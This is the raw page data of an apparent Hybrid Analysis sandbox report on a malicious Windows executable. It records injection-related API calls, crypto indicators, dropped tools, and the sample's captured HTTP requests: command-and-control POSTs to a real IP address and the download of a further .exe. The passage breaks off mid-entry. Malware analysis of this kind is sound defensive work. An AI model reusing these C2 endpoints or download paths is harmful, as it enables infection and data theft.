26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 84:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T483,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Crifi.Generic Sample ed955efb4b64… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ed955efb4b64…. Malware family: Crifi.Generic. Threat score 100/100. 13/27 AV engines flagged this file. 28 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ed955efb4b643251a35e36c4a801e4edfddcf673e39fbf14790cbbf1407d22f1","keywords":["Malicious","Crifi.Generic","malware analysis","sandbox report","threat intelligence","ed955efb4b643251a35e36c4a801e4edfddcf673e39fbf14790cbbf1407d22f1"],"about":{"@type":"SoftwareApplication","name":"random.exe","applicationCategory":["peexe","executable"],"identifier":"ed955efb4b643251a35e36c4a801e4edfddcf673e39fbf14790cbbf1407d22f1","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Crifi.Generic","antivirusDetections":{"malicious":13,"total":27},"behavioralIndicators":{"malicious":28,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T858,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00000240.00000000.273897.00AF0000.00000004.mdmp, 00000000-00000240.00000000.273897.00BDE000.00000004.mdmp, 00000000-00000240.00000001.274224.00AF0000.00000004.mdmp, 00000000-00000240.00000001.274224.00BDE000.00000004.mdmp") Found string ".Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00000240.00000000.273897.00AF0000.00000004.mdmp") Found string "2,"System.Management.Automation Version=3.0.0.0 Culture=neutral PublicKeyToken=31bf3856ad364e35",0" (Source: "00000000-00000240.00000000.273897.00AF0000.00000004.mdmp, 00000000-00000240.00000001.274224.00AF0000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00000240.00000000.273897.00AF0000.00000004.mdmp, 00000000-00000240.00000001.274224.00AF0000.00000004.mdmp") Found string "System.Management.Automation" (Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp, 00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ([System.Management.Automation.ErrorCategory]::InvalidData) -ErrorId "FormatHexResolveP" (Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp"), Found string "on.ErrorRecord]::new($exception,"FormatHexFileAccessError", ([System.Management.Automation.ErrorCategory]::ReadError) $targetFilePath)" (Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp"), Found string "Write-Error -Message $errorMessage -Category ([System.Management.Automation.ErrorCategory]::ParserError) -ErrorId "FormatHexFailureTypeNotSupported"" (Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp 00000000-00000240.00000001.274224.07684000.00000004.mdmp"), Found string "policy.3.0.System.Management.Automation.resources" (Source: "00000000-00000240.00000001.274224.073CA000.00000004.mdmp"), Found string "System.Management.Automation.resources" (Source: "00000000-00000240.00000001.274224.073CA000.00000004.mdmp")28:T461,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "random.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "random.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "random.exe") Found reference to API "LsaFreeMemory" (Indicator: "FreeMemory"; File: "00000000-00004928.00000000.274600.00D11000.00000020.mdmp") Found reference to API "SamFreeMemory" (Indicator: "FreeMemory"; File: "00000000-00004928.00000000.274600.00D11000.00000020.mdmp") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; File: "00000000-00001396.00000000.275136.00E71000.00000020.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "random.exe") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "random.exe") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "random.exe") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; File: "random.exe") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; File: "random.exe")29:T48e,"random.exe" called "FindResourceA" with parameter "13177464" - (UID: 00000000-00005940) "random.exe" called "FindResourceA" with parameter "13177472" - (UID: 00000000-00005940) "random.exe" called "FindResourceA" with parameter "13177500" - (UID: 00000000-00005940) "random.exe" called "FindResourceA" with parameter "13177712" - (UID: 00000000-00005940) "random.exe" called "FindResourceA" with parameter "13177528" - (UID: 00000000-00005940) "random.exe" called "FindResourceA" with parameter "13177684" - (UID: 00000000-00005940) "random.exe" called "FindResourceA" with parameter "13177696" - (UID: 00000000-00005940) "random.exe" called "FindResourceA" with parameter "9762452" - (UID: 00000000-00005940) "random.exe" called "FindResourceA" with parameter "13177580" - (UID: 00000000-00005940) "random.exe" called "FindResourceA" with parameter "13177676" - (UID: 00000000-00005940) "random.exe" called "FindResourceA" with parameter "9762448" - (UID: 00000000-00005940) "random.exe" called "FindResourceA" with parameter "13177544" - (UID: 00000000-00005940) "random.exe" called "FindResourceA" with parameter "13177552" - (UID: 00000000-00005940)2a:T700,"random.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13224360'}" (UID: 00000000-00005940) "random.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13224216'}" (UID: 00000000-00005940) "random.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13224376'}" (UID: 00000000-00005940) "random.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13224264'}" (UID: 00000000-00005940) "random.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13224232'}" (UID: 00000000-00005940) "random.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13224280'}" (UID: 00000000-00005940) "random.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13224328'}" (UID: 00000000-00005940) "random.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13224200'}" (UID: 00000000-00005940) "random.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13224312'}" (UID: 00000000-00005940) "random.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13224344'}" (UID: 00000000-00005940) "random.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13224296'}" (UID: 00000000-00005940) "random.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13224248'}" (UID: 00000000-00005940) "powershell.exe" called "LoadResource with parameter {'hModule': '152567809', 'hResInfo': '152569056'}" (UID: 00000000-00000240) "powershell.exe" called "LoadResource with parameter {'hModule': '152567809', 'hResInfo': '152569088'}" (UID: 00000000-00000240) "powershell.exe" called "LoadResource with parameter {'hModule': '152567809', 'hResInfo': '152569104'}" (UID: 00000000-00000240)2b:T7df,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "random.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "random.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "random.exe") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "random.exe") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "random.exe") Found reference to API "WaitForMultipleObjects error %d, GetLastError %d" (Indicator: "WaitForMultipleObjects"; File: "00000000-00001396.00000000.275136.00E71000.00000020.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "random.exe") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "random.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "random.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "random.exe") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "random.exe") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "random.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00000240.00000000.273897.00A31000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00000240.00000000.273897.00A31000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000240.00000000.273897.00A31000.00000002.mdmp, 00000000-00000240.00000001.274224.726E5000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000240.00000000.273897.00A31000.00000002.mdmp, 00000000-00000240.00000001.274224.726E5000.00000002.mdmp")2c:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}2d:T11a6,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-26-00D13240 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-30-00D15460 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-30-00D15460 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-31-00D270DE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-33-00D167A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-33-00D167A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-36-00D14C64 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-36-00D14C64 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-37-00D2892E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-40-00D28793 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-40-00D28793 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-47-00D29482 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-47-00D29482 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-48-00D28F92 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-48-00D28F92 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-50-00D19D00 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-50-00D19D00 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-58-00D19B0A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-58-00D19B0A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-62-00D2767D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-62-00D2767D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-68-00D1A152 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-68-00D1A152 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-69-00D1A0C3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-69-00D1A0C3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-77-00D26BF0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-77-00D26BF0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-83-00D1A9AB Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-83-00D1A9AB Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-87-00D27A16 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-87-00D27A16 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-92-00D15710 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-92-00D15710 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-94-00D21871 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-94-00D21871 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-97-00D14E70 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-97-00D14E70 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-99-00D2970E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-99-00D2970E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-100-00D295F7 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-100-00D295F7 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-101-00D2700B Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-101-00D2700B Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-104-00D280E4 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-104-00D280E4 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004928-31184-105-00D27E9F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004928-31184-105-00D27E9F2e:Tc76,Contains base64 string in header "POST" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "176Cache" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "midnight" in header "GET / HTTP/1.1Host: midnight.imConnection: Keep-Alive" Contains base64 string in header "imConnection" in header "GET / HTTP/1.1Host: midnight.imConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET / HTTP/1.1Host: midnight.imConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET / HTTP/1.1Connection: Keep-AliveHost: midnight.im" Contains base64 string in header "midnight" in header "GET / HTTP/1.1Connection: Keep-AliveHost: midnight.im" Contains base64 string in header "POST" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 32Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 32Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 32Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 32Cache-Control: no-cache" Contains base64 string in header "/files/784403925/K8kGyaj" in header "GET /files/784403925/K8kGyaj.exe HTTP/1.1"2f:T740,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains CRYPTO related strings Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to import cryptographic keys (seen in ransomware) Matched sigs: Found XOR operators (encryption/decryption) Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Contains ability to decrypt/decode data Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: YARA signature match - AES encryption Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: YARA signature match - RC4 Encryption Matched sigs: YARA signature match – cryptographic algorithms30:T6c9,"2j4686.exe" called "GetWindowTextA" (UID: 00000000-00001348) "systemhelper.exe" called "GetWindowTextW" with parameter "&Destination folder" - (UID: 00000000-00001396) "systemhelper.exe" called "GetWindowTextW" with parameter "Bro&wse..." - (UID: 00000000-00001396) "systemhelper.exe" called "GetWindowTextW" with parameter "Installation progress" - (UID: 00000000-00001396) "systemhelper.exe" called "GetWindowTextW" with parameter "Install" - (UID: 00000000-00001396) "systemhelper.exe" called "GetWindowTextW" with parameter "Cancel" - (UID: 00000000-00001396) "systemhelper.exe" called "GetWindowTextW" with parameter "%LOCALAPPDATA%\Temp" - (UID: 00000000-00001396) "systemhelper.exe" called "GetWindowTextW" with parameter "Pause" - (UID: 00000000-00001396) "systemhelper.exe" called "GetWindowTextW" with parameter "Extracting d6VJvaC.bat" - (UID: 00000000-00001396) "systemhelper.exe" called "GetWindowTextW" with parameter "Extracting hater\7z.exe" - (UID: 00000000-00001396) "systemhelper.exe" called "GetWindowTextW" with parameter "Extracting hater\cecho.exe" - (UID: 00000000-00001396) "systemhelper.exe" called "GetWindowTextW" with parameter "Extracting hater\land.zip" - (UID: 00000000-00001396) "systemhelper.exe" called "GetWindowTextW" with parameter "Extracting hater\nircmd.exe" - (UID: 00000000-00001396) "systemhelper.exe" called "GetWindowTextW" with parameter "Extracting hater\NSudoLG.exe" - (UID: 00000000-00001396) "systemhelper.exe" called "GetWindowTextW" with parameter "Extracting hater" - (UID: 00000000-00001396) "nircmd.exe" called "GetWindowTextA" (UID: 00000000-00002396) "nircmd.exe" called "GetWindowTextA" with parameter "2j4686.exe - Application Error" - (UID: 00000000-00002396)31:Tec2,"random.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005940) "random.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005940) "random.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005940) "1a52M6.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006500) "1a52M6.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006500) "1a52M6.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006500)32:Tbbd,"random.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000f594007c3c2b73689c34030000000048f594003a052b73689c3403a0f5940045e72a73689c34030100000026967e5a0000000030723e3c000000000300000054f694000a0000004017000098f69400d0f594005d0000000300000058f5940060f5940068f8940050182b73e69ac629feffffffa8f694001513297330723e3c (UID: 00000000-00005940) "1a52M6.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000010000000c00000000000000000000000000000001000000010000000000000000000000720061006d00650000000000000000000000000000000000010000002f000000000000000000000063006f006e006600690067005c006d006100630000000000000065000000000000000000000000000000000000000000 (UID: 00000000-00006500) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000010000000c00000000000000000000000000000001000000010000000000000000000000720061006d00650000000000000000000000000000000000010000002f000000000000000000000063006f006e006600690067005c006d006100630000000000000065000000000000000000000000000000000000000000 (UID: 00000000-00000240) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000f038000000000000000a11400006cd0b309ee13ce7780000000ee13ce77000000000000000080000000f062066f000000008cd0b3095072d67400000f030000000080000000f062066f02000000002f066fa8d0b309fb62066f010000008004076f885fd874000000001843380ad8d0b309b864066ff42e066f (UID: 00000000-00000240) "2j4686.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001348) "systemhelper.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000003809fe0000000000e0e42f015916ce77010000000800000001000000000033030000000010000000000000000000000002000000020000000000330301000000080000000000000000e52f01ee13ce7701000000ee13ce770800000000000000080000001ecfc0fd38e72f01ad9c3e72000033030800000001000000 (UID: 00000000-00001396) "nircmd.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002396) "h6e2sYQ.exe" called "GetVersionExA" with 